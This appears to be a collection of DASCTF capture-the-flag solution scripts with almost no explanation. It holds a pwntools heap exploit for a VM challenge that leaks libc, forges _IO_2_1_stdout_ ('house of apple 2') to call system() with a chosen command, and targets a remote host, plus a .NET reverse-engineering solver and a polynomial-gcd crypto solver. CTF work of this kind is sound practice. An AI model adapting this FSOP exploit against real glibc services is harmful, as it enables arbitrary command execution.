    a.MOVRR(R5, R6)                    # r5 = VM stack ptr = stackchunk+0x1000
    if dump_heap:
        a.MOVRR(R1, R5); a.SUBI(R1, 0x1000)
        a.MOVI(R0, 1); a.MOVI(R2, 0x8000); a.SYSCALL(1)
    # ---- scan heap for unsorted fd (== bk, page offset 0xce0, 0x00007f..) ----
    a.MOVRR(R1, R5); a.ADDI(R1, 0x1000)   # cursor = stackchunk+0x2000
    a.label('scan')
    a.MOVRR(R6, R1);              a.POP(R2)   # lo32(fd)
    a.MOVRR(R6, R1); a.ADDI(R6, 4);  a.POP(R3)   # hi32(fd)
    a.MOVRR(R6, R1); a.ADDI(R6, 8);  a.POP(R0)   # lo32(bk)
    a.CMPRR(R0, R2); a.JNE('next')
    a.MOVRR(R6, R1); a.ADDI(R6, 12); a.POP(R0)   # hi32(bk)
    a.CMPRR(R0, R3); a.JNE('next')
    a.MOVRR(R0, R2); a.ANDI(R0, 0xfff); a.CMPI(R0, 0xce0); a.JNE('next')
    a.MOVRR(R0, R3); a.SHRI(R0, 8);    a.CMPI(R0, 0x7f);  a.JNE('next')
    a.MOVRR(R0, R3); a.SHLI(R0, 32); a.ORR(R0, R2)        # r0 = fd
    a.JMP('found')
    a.label('next')
    a.ADDI(R1, 8)
    a.MOVRR(R0, R5); a.ADDI(R0, 0x7000)                   # limit
    a.CMPRR(R1, R0); a.JL('scan')
    a.MOVI(R0, 1); a.SYSCALL(2)                           # give up
    a.label('found')
    a.SUBI(R0, UNSORTED_FD)                               # r0 = libc base
    if dump_bss:
        a.MOVRR(R4, R0)
        a.MOVRR(R1, R0); a.ADDI(R1, 0x227000)
        a.MOVI(R0, 1); a.MOVI(R2, 0x1e50); a.SYSCALL(1)
        a.MOVRR(R0, R4)
    # ---- FSOP: house of apple 2 on _IO_2_1_stdout_ ----
    # fake wide vtable.__doallocate = system
    a.MOVRR(R1, R0); a.ADDI(R1, SYSTEM)
    write_qword(a, V + 0x68)
    # fake wide data._wide_vtable = V
    a.MOVRR(R1, R0); a.ADDI(R1, V)
    write_qword(a, W + 0xe0)
    # FILE header: command string (32 bytes)
    def mov64(reg, v):
        a.MOVI(reg, v >> 32)
        a.SHLI(reg, 32)
        a.ADDI(reg, v & 0xffffffff)
    for i in range(0, 32, 8):
        mov64(R1, int.from_bytes(cmd[i:i + 8], 'little'))
        write_qword(a, STDOUT + i)
    a.MOVI(R1, 0);            write_qword(a, STDOUT + 0x20)  # _IO_write_base = 0
    a.MOVI(R1, 1);            write_qword(a, STDOUT + 0x28)  # _IO_write_ptr  = 1
    a.MOVI(R1, 0);            write_qword(a, STDOUT + 0x38)  # _IO_buf_base   = 0
    a.MOVRR(R1, R0); a.ADDI(R1, LOCK); write_qword(a, STDOUT + 0x88)  # _lock
    a.MOVRR(R1, R0); a.ADDI(R1, W);    write_qword(a, STDOUT + 0xa0)  # _wide_data
    a.MOVI(R1, 0);            write_qword(a, STDOUT + 0xc0)  # _mode = 0
    a.MOVRR(R1, R0); a.ADDI(R1, WJUMPS); write_qword(a, STDOUT + 0xd8)  # vtable
    if dump_final:
        a.MOVRR(R1, R0); a.ADDI(R1, STDOUT)
        a.MOVI(R0, 1); a.MOVI(R2, 0xe0); a.SYSCALL(1)
    # ---- trigger ----
    a.MOVI(R0, 0); a.SYSCALL(2)   # exit(0) -> _IO_cleanup -> system(cmd)
    return a.assemble()
 
 
def main():
    cmd = sys.argv[2] if len(sys.argv) > 2 else ' cat /flag*'
    dump_heap = '--dumpheap' in sys.argv
    dump_bss = '--dumpbss' in sys.argv
    dump_final = '--dumpfinal' in sys.argv
    prog = build(cmd, dump_heap, dump_bss, dump_final)
    log.info('program: %d bytes', len(prog))
    assert len(prog) < 0x800
 
    if sys.argv[1] == 'local':
        io = process('/workspace/test/vvmm_patched')
    else:
        io = remote('45.40.247.139', 18013)
    data = io.recvuntil(b'Please input your opcodes:', timeout=10)
    io.send(prog.ljust(0x800, b'\x00') + b'\n')
    out = io.recvall(timeout=15)
    sys.stdout.write('[out] ' + repr(out) + '\n')
    open('out.bin', 'wb').write(out)
 
 
main()

python3 exploit2.py local  " cat /etc/hostname"   # 本地（test/ 下 patch 过的二进制）
python3 exploit2.py remote " cat /flag* 2>&1"     # 远程 45.40.247.139:18013
# 输出: DASCTF{23953926830009149609037092541725}

string input = InputDialog.ShowDialog("请输入您的Flag");
if (input.Length < 64) fail("Flag不对喵~");
string key = input.Substring(7, input.Length - 60);   // key = flag[7 .. len-60)
byte[] enc = new Cipher().Encipher(UTF8(input), UTF8(key));
for (i = 0; i < 64; i++) if (enc[i] != _ciphertext[i]) fail();
success("Flag正确的捏~");

003917072e3c3f150029004f662d0c0e283320292c332e2a18232d010e2b2e4c002d070b6034220b191435200203281c0110164f186513254c081c0a0c480e2c

flag[i] ^ flag[7 + (A[i % 256] % keylen)] = ct[i]    (keylen = len - 60)

import struct
 
MBIG = 2147483647
MSEED = 161803398
 
class DotNetRandom:
    """.NET Framework / .NET Core seeded Random(int) compat algorithm"""
    def __init__(self, seed):
        self.SeedArray = [0]*56
        subtraction = 2147483647 if seed == -2147483648 else abs(seed)
        mj = MSEED - subtraction
        self.SeedArray[55] = mj
        mk = 1
        for i in range(1, 55):
            ii = (21*i) % 55
            self.SeedArray[ii] = mk
            mk = mj - mk
            if mk < 0:
                mk += MBIG
            mj = self.SeedArray[ii]
        for k in range(1, 5):
            for i in range(1, 56):
                self.SeedArray[i] -= self.SeedArray[1 + (i+30) % 55]
                if self.SeedArray[i] < 0:
                    self.SeedArray[i] += MBIG
        self.inext = 0
        self.inextp = 21
 
    def _sample(self):
        locINext = self.inext
        locINextp = self.inextp
        locINext += 1
        if locINext >= 56: locINext = 1
        locINextp += 1
        if locINextp >= 56: locINextp = 1
        retVal = self.SeedArray[locINext] - self.SeedArray[locINextp]
        if retVal == MBIG: retVal -= 1
        if retVal < 0: retVal += MBIG
        self.SeedArray[locINext] = retVal
        self.inext = locINext
        self.inextp = locINextp
        return retVal * (1.0/MBIG)
 
    def next_int(self, maxValue):
        # Next(maxValue) = (int)(Sample()*maxValue)
        return int(self._sample() * maxValue)
 
def build_array1():
    r = DotNetRandom(2024)
    return bytes(r.next_int(256) for _ in range(256))
 
if __name__ == '__main__':
    A = build_array1()
    print("array1:", A.hex())
    print("first 16:", [x for x in A[:16]])

#!/usr/bin/env python3
"""
ClickMe (DASCTF reverse) solver.
 
Extracts the 64-byte ciphertext from the embedded ClickMe.dll, reproduces the
.NET 6 `Random(2024)` byte stream, and solves the self-referential XOR cipher:
 
    Encipher(flag, key)[i] = flag[i] ^ key[A[i % 256] % keylen]   (key = flag[7 : len-60])
    where A = [ (byte)Random(2024).Next(256) for _ in range(256) ]
    and the first 64 bytes must equal the stored _ciphertext.
 
Solution: flag[i] ^ flag[7 + (A[i%256] % keylen)] = ct[i]  (constraint graph,
propagated from known prefix "DASCTF{" and '}' at the end; keylen = len-60).
Only len==64 yields a fully printable, fully determined flag.
 
Run:  python3 solve.py [path-to-ClickMe.dll]
"""
import sys
import dnfile
from dotnetrand import build_array1
 
DLL = sys.argv[1] if len(sys.argv) > 1 else 'ClickMe.dll'
 
 
def extract_ciphertext(dll_path):
    """Read the 64-byte _ciphertext blob from <PrivateImplementationDetails>."""
    pe = dnfile.dnPE(dll_path)
    md = pe.net.mdtables
    data = open(dll_path, 'rb').read()
    sections = [(s.VirtualAddress,
                 s.VirtualAddress + max(s.SizeOfRawData, s.Misc_VirtualSize),
                 s.PointerToRawData) for s in pe.sections]
 
    def rva_to_off(rva):
        for va, vend, off in sections:
            if va <= rva < vend:
                return off + (rva - va)
        return None
 
    for fr in md.FieldRva.rows:
        fld = md.Field.rows[fr.Field.row_index - 1]
        off = rva_to_off(fr.Rva)
        return data[off:off + 64]
    raise SystemExit('ciphertext blob not found')
 
 
def solve(ct, flaglen):
    keylen = flaglen - 60
    if keylen <= 0:
        return None
    flag = [None] * 64
    for i, c in enumerate(b"DASCTF{"):
        flag[i] = c
    if flaglen - 1 <= 63:
        flag[flaglen - 1] = ord('}')
    g = lambda i: 7 + (A[i % 256] % keylen)
    if any(g(i) >= 64 for i in range(64)):
        return None
    changed = True
    while changed:
        changed = False
        for i in range(64):
            gi = g(i)
            if flag[i] is not None and flag[gi] is None:
                flag[gi] = flag[i] ^ ct[i]
                changed = True
            elif flag[i] is None and flag[gi] is not None:
                flag[i] = flag[gi] ^ ct[i]
                changed = True
            elif flag[i] is not None and flag[gi] is not None and (flag[i] ^ flag[gi]) != ct[i]:
                return None
    if any(f is None for f in flag):
        return None
    fb = bytes(flag)
    if fb[:7] != b"DASCTF{" or not all(0x20 <= c <= 0x7e for c in fb):
        return None
    return fb
 
 
if __name__ == '__main__':
    A = build_array1()
    CT = extract_ciphertext(DLL)
    assert len(CT) == 64, len(CT)
    print('ciphertext:', CT.hex())
    found = []
    for fl in range(64, 201):
        res = solve(CT, fl)
        if res:
            found.append(res)
            print(f'flagLen={fl}: {res.decode()}')
    if len(found) == 1:
        flag = found[0].decode()
        print('\nFULL FLAG:', flag)
        print('SUBMIT ({} content):', flag[7:-1])
    else:
        print('no unique solution found')

from gmpy2 import mpz, invert, gcd as ggcd
from Crypto.Util.number import long_to_bytes
 
n = mpz(60959078334387545174063137470268047507172232525983373689032758117216565682996162265546846609875371227252336412496115606187827259803450770810574435659128021697069598440752312612273670111718418085608959589034388553909945018073488149871008631478185663189172003567928722587828055654546313822366900370962869240393)
e1 = mpz(25080185602921164641457779691264555950803708973459791702552859196152920386781315187127980680250722377905434772682465255538688916036832973212421222920467552688169338949641648947149548506493771954945163535084523492194938951063178603994088731260373092795225438907249612237869216271405461846502429010597434945129)
e2 = mpz(2686917894806306564105069645025598170001493222147939881910882612002619762827095181623015405336605399564697669411214715092491707199306077815347849574322393128446302565338306829483225475725645138320732244761574356546037259338204816353839338403152826330426168936100838988072600994897248609363630425741221535167)
c1 = mpz(39165033187459854259044916261644894532923988516246313646829662519394302481092871197909104163709186848292457858259875810315102170606454867532551322796881896450899276930100349230318586105505144321492466947631714356487940237401071542087835426078302367825435649348015848193466109067177234037081324611791585790297)
c2 = mpz(27995375435584804726153834858077480529641682279536108892909206601950410771803503693236168750304583015422077798910880859774746296760471579898801003345025172084543282632881139350213579495064877044761461563546254124445373800834742347922943172855897004531317927959023071295012569100116598090731605517348407531698)
 
D = 63  # poly degree
 
# ---------- polynomial helpers (coeff lists, low -> high) ----------
def polymul(a, b):
    r = [mpz(0)] * (len(a) + len(b) - 1)
    for i, ai in enumerate(a):
        if ai:
            for j, bj in enumerate(b):
                r[i + j] += ai * bj
    return [x % n for x in r]
 
def polymul_ks(a, b):
    # Kronecker substitution
    limb_bits = 2 * n.bit_length() + 16
    A = 0
    for i in reversed(range(len(a))):
        A = (A << limb_bits) | int(a[i])
    B = 0
    for i in reversed(range(len(b))):
        B = (B << limb_bits) | int(b[i])
    C = A * B
    mask = (1 << limb_bits) - 1
    out = []
    for _ in range(len(a) + len(b) - 1):
        out.append(mpz(C & mask) % n)
        C >>= limb_bits
    return out
 
def polymod(a, f):
    # reduce a modulo monic f
    a = a[:]
    df = len(f) - 1
    top = f[df]
    assert top == 1
    while len(a) - 1 >= df and any(a):
        shift = len(a) - 1 - df
        factor = a[-1]
        if factor == 0:
            a.pop(); continue
        for i in range(df):
            a[i + shift] = (a[i + shift] - factor * f[i]) % n
        a.pop()
    while a and a[-1] == 0:
        a.pop()
    return a
 
def mulmod(a, b, f):
    return polymod(polymul_ks(a, b), f)
 
def powmod(base, exp, f):
    result = [mpz(1)]
    b = base[:]
    while exp > 0:
        if exp & 1:
            result = mulmod(result, b, f)
        b = mulmod(b, b, f)
        exp >>= 1
    return result
 
def make_f(c):
    co = [mpz(i) for i in range(D + 1)]
    co[0] = (co[0] - c) % n
    # make monic: leading coeff D
    inv = invert(mpz(D), n)
    return [(x * inv) % n for x in co]
 
f1 = make_f(c1)
f2 = make_f(c2)
zero = [mpz(0)]
 
# R1 = x^e1 mod f1
x1 = [mpz(0), mpz(1)]
R1 = powmod(x1, e1, f1)
print("R1 done, deg", len(R1) - 1)
 
# w = y^e2 mod f2
y2 = [mpz(0), mpz(1)]
w = powmod(y2, e2, f2)
print("w done, deg", len(w) - 1)
 
# multiplication matrix of w in Z_n[y]/f2, basis 1,y,...,y^62
# column k = coeffs of y^k * w mod f2
def pad(p):
    p = p + [mpz(0)] * (D - len(p))
    return p[:D]
cols = []
cur = w[:]
for k in range(D):
    cols.append(pad(cur))
    cur = polymod([mpz(0)] + cur, f2)
M = [[cols[k][i] for k in range(D)] for i in range(D)]
print("matrix built")
 
def det_mod(Mat, m):
    Mat = [row[:] for row in Mat]
    N = len(Mat)
    det = mpz(1)
    for col in range(N):
        piv = None
        for r in range(col, N):
            if Mat[r][col] % m != 0:
                piv = r; break
        if piv is None:
            return mpz(0)
        if piv != col:
            Mat[col], Mat[piv] = Mat[piv], Mat[col]
            det = -det % m
        inv = invert(Mat[col][col], m)
        det = det * Mat[col][col] % m
        for r in range(col + 1, N):
            factor = Mat[r][col] * inv % m
            if factor:
                for cc in range(col, N):
                    Mat[r][cc] = (Mat[r][cc] - factor * Mat[col][cc]) % m
    return det
 
# charpoly Q(T) = det(T*I - M), degree D; interpolate at T = 0..D
pts = list(range(D + 1))
vals = []
for t in pts:
    Mat = [[(-M[i][k]) % n for k in range(D)] for i in range(D)]
    for i in range(D):
        Mat[i][i] = (Mat[i][i] + t) % n
    vals.append(det_mod(Mat, n))
print("charpoly points done")
 
# Lagrange interpolation mod n
def lagrange(xs, ys):
    N = len(xs)
    coeffs = [mpz(0)] * N
    for i in range(N):
        # basis poly prod_{j!=i} (X - xs[j]) / (xs[i]-xs[j])
        num = [mpz(1)]
        den = mpz(1)
        for j in range(N):
            if j == i: continue
            num = polymul_ks(num, [mpz(-xs[j]) % n, mpz(1)])
            den = den * (xs[i] - xs[j]) % n
        scale = ys[i] * invert(den, n) % n
        for k, cc in enumerate(num):
            coeffs[k] = (coeffs[k] + scale * cc) % n
    return coeffs
 
Q = lagrange(pts, vals)
while Q and Q[-1] == 0:
    Q.pop()
print("Q degree", len(Q) - 1)
 
# g = Q(R1) mod f1
g = [mpz(0)]
for cc in reversed(Q):
    g = mulmod(g, R1, f1)
    if not g:
        g = [mpz(0)]
    g[0] = (g[0] + cc) % n
print("g degree", len(g) - 1 if g else -1)
 
# gcd(f1, g) over Z_n[x]
def polygcd(a, b):
    a = a[:]; b = b[:]
    while b and any(b):
        # make divisor monic if possible
        lead = b[-1]
        try:
            iv = invert(lead, n)
        except Exception:
            f_ = ggcd(lead, n)
            print("factor found!", f_)
            raise SystemExit
        b = [(x * iv) % n for x in b]
        # a mod b
        r = a[:]
        db = len(b) - 1
        while len(r) - 1 >= db and any(r):
            sh = len(r) - 1 - db
            fac = r[-1]
            if fac == 0:
                r.pop(); continue
            for i in range(db):
                r[i + sh] = (r[i + sh] - fac * b[i]) % n
            r.pop()
        while r and r[-1] == 0:
            r.pop()
        a, b = b, r
    return a
 
d = polygcd(f1, g)
print("gcd degree", len(d) - 1 if d else -1, d if d and len(d) <= 3 else "")
 
if d and len(d) == 2:
    A = (-d[0]) % n  # monic: x + d[0] = 0
    m = pow(int(A), int(e1), int(n))
    print("A =", A)
    print("m bytes:", long_to_bytes(int(m)))